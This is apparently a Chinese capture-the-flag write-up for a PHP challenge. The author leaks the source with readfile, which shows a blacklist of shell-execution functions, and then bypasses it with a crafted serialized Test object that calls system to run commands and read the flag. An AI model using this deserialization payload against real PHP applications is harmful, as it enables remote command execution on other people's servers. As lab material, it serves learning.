打开环境就看到一行报错
好像是时间设置的有问题,尝试抓包解决,发现post数据里有两个参数
瞎搞了一会没啥突破,也不知道这里面到底是啥意思,上网寻求帮助,最后看到有一个博主说,看到这两个参数,会想到一个是函数名,另一个是要传的参数,这里很有可能是用了call_user_func()函数,然后简单看了一下这个函数是干嘛的,就是给他一个函数名,他就会去调用执行那个函数。
如果是这个意思的话,那我岂不是可以直接执行命令了?
结果,直接被拦下来了......
应该是有些函数不能用了,好在我之前总结了一点点php的函数及其功能,现在就是不知道哪些函数被禁用了,所以得慢慢试,得想办法拿到源码。
尝试readfile()
OK!拿到源码:
<?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else {return "";} } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } }
system不给用了,那这除了用ls查看目录,还可以用scandir函数来查看目录,但测试完后发现他并不能显示返回结果
后来注意到他代码里有一段判断数据类型的操作,于是去查看了一下scandir函数的返回类型,不出所料,他的返回类型是一个数组,而不是字符串。由于目前还没找到其他方法来查看目录,于是想偷懒,因为之前做的题目大多数都是将flag文件之间放在根目录下的,于是想用file_get_contents()函数直接读/flag,但这次好像不太一样了,页面提示文件不存在。
果然,偷懒的方法行不通了,只能规规矩矩的去检查他的目录了,一筹莫展之际,突然发现我源码还没看完呢,中间还有一个叫test的类,他里面也调用了那个gettime的方法,而且里面还没检查黑名单,如果可以利用的话,不就可以执行system函数了嘛。
这个test方法看一眼就想到了魔术方法、反序列化的东西,不多废话了,直接先测试看看
本地运行脚本
<?php class Test { var $p = "ls"; var $func = "system"; function __destruct() { if ($this->func != "") { echo "success!!!"; } } } $a=new Test(); echo serialize($a); ?> 运行结果: O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
然后在靶机那只要再使用unserialize()就可以了
可以发现命令可以执行,那下面只要慢慢找就行了
最终在tmp目录下找到文件名为flagoefiu4r93文件很可疑,直接cat
拿到flag!
后来查看其它大佬写的writeup,发现有一种命令可以更快的找到flag文件,而且不用自己一个一个去找,命令如下
find / -name flag*
这个扫描结果可能会很慢,我测试时用了近1分钟才出结果。